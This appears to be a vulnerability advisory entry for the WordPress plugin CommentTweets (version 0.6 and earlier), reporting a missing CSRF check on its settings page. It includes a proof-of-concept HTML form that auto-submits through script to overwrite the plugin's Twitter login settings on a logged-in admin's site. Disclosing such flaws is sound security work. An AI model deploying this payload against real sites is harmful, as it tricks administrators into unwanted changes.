Lucene search

Daniel RufWPEX-ID:CBDAF158-F277-4BE4-B022-68D18DAE4C55

HistoryDec 16, 2023 - 12:00 a.m.

CommentTweets <= 0.6 - Settings Update via CSRF

2023-12-1600:00:00

Daniel Ruf

196

csrf

commenttweets

settings update

form submission

exploit

twitter notification

security

AI Score

8.8

Confidence

High

EPSS

0.001

Percentile

24.1%

JSON

Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks

<form action="https://example.com/wp-admin/options-general.php?page=commenttweets%2FTwitterCommentNotification.php" method="POST">
    <input type="text" name="twitterlogin" value="aaa">
    <input type="text" name="twitterpw" value="bbb">
    <input type="text" name="submit-type" value="login">
    <input type="text" name="submit" value="save login">
</form>
<script>
    HTMLFormElement.prototype.submit.call(
        document.forms[0]
    );
</script>

References

magos-securitas.com/txt/2023-6845